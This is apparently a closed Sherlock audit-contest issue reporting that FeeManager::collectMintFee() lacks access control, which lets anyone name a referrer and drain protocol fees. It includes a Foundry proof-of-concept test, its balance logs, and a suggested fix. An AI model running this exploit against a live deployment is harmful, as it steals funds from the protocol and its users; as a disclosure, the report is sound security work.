sherlock-audit / 2024-04-titles-judging

1 stars 1 forks source link

Turetos - Anyone can call `FeeManager::collectMintFee()` with any referrer address and steal funds #329

Closed sherlock-admin4 closed 2 months ago

sherlock-admin4 commented 2 months ago

Turetos

medium

Anyone can call FeeManager::collectMintFee() with any referrer address and steal funds

Summary

The collectMintFee function in FeeManager collects fees for an Edition, with any address accepted as the referrer. Any account can invoke this function to obtain the referrer share for a specified amount, transferring the ETH or token directly from the protocol to the referrer.

Vulnerability Detail

The collectMintFee function invokes _splitProtocolFee, which computes the fee for the provided referrer. This creates a route (transferring fees from the protocol to the referrer), splitting them using mintReferrerShare = getMintReferrerShare(amount, referrer_) and uint256 collectionReferrerShare = getCollectionReferrerShare.

Proof of Concept:

Below is a test in foundry (add it at the end of the FeeManager.t.sol). In this scenario, 0xc0ffee represents the owner of the Edition. It demonstrates the splitting of ETH in the protocol between 0xc0ffee and the attacker.

    function test_syphonCollectMintFee() public {       
        address attacker = makeAddr("1337");       

        feeManager.createRoute(IEdition(address(mockEdition)), 1, new Target[](0), address(0));

        //Add 10 eth to the FeeManager
        vm.deal(address(feeManager), 10 ether);

        console.log("::ETH balance coffee before : ", address(0xc0ffee).balance);
        console.log("::ETH balance FeeManager before : ", address(feeManager).balance);
        console.log("::ETH balance attacker after : ", address(attacker).balance); 

        vm.startPrank(attacker);        
        feeManager.collectMintFee{value: 0 ether}( IEdition(address(mockEdition)), 1, 500, address(feeManager), address(attacker));        
        vm.stopPrank();

        console.log("ETH balance FeeManager after : ", address(feeManager).balance);    
        console.log("ETH balance coffee after : ", address(0xc0ffee).balance);   
        console.log("ETH balance attacker after : ", address(attacker).balance); 
    }        

Output

Logs:  
  ::ETH balance coffee before :  0
  ::ETH balance FeeManager before :  10000000000000000000
  ::ETH balance attacker after :  0
  ETH balance FeeManager after :  4700000000000000000
  ETH balance coffee after :  5000000000000000000
  ETH balance attacker after :  150000000000000000

Impact

Anyone can steal fees from the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/fees/FeeManager.sol#L202

Tool used

Manual Review

Recommendation

 function collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_
    ) external payable {
++      require(msg.sender == edition_.creator(tokenId_), "Not owner");

        _collectMintFee(
            edition_, tokenId_, amount_, payer_, referrer_, getMintFee(edition_, tokenId_, amount_)
        );
    }